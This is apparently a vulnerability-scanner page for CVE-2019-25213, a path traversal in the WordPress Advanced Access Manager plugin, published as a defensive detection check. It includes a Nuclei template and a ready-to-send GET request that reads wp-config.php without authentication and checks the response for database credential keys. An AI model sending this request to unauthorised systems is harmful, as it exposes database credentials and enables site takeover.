WordPress Advanced Access Manager - Path Traversal

criticalseverity

9.8CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

The Advanced Access Manager plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read in versions up to, and including, 5.9.8.1 due to insufficient validation on the aam-media parameter. This allows unauthenticated attackers to read any file on the server, including sensitive files such as wp-config.php

Impact

Unauthenticated attackers can read sensitive files like wp-config.php, leading to information disclosure and potential further exploitation.

Fix

Update to the latest version of the plugin that addresses this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=aam-media-load&aam-media=/wp-config.php
Positive when: status_code == 200 and contains_all(body, 'DB_NAME','DB_USER','DB_PASSWORD')

Run it with nuclei: nuclei -id CVE-2019-25213 -u <target>

The full check

id: CVE-2019-25213

info:
  name: WordPress Advanced Access Manager - Path Traversal
  author: riteshs4hu
  severity: critical
  description: |
    The Advanced Access Manager plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read in versions up to, and including, 5.9.8.1 due to insufficient validation on the aam-media parameter. This allows unauthenticated attackers to read any file on the server, including sensitive files such as wp-config.php
  impact: |
    Unauthenticated attackers can read sensitive files like wp-config.php, leading to information disclosure and potential further exploitation.
  remediation: |
    Update to the latest version of the plugin that addresses this vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/55e0f0df-7be2-4e18-988c-2cc558768eff?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25213
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-25213
    epss-score: 0.02772
    epss-percentile: 0.86449
    cwe-id: CWE-264
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "wp-content/plugins/advanced-access-manager"
  tags: cve,cve2019,wordpress,wp-plugin,wp,advanced_access_manager,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=aam-media-load&aam-media=/wp-config.php"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'DB_NAME','DB_USER','DB_PASSWORD')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from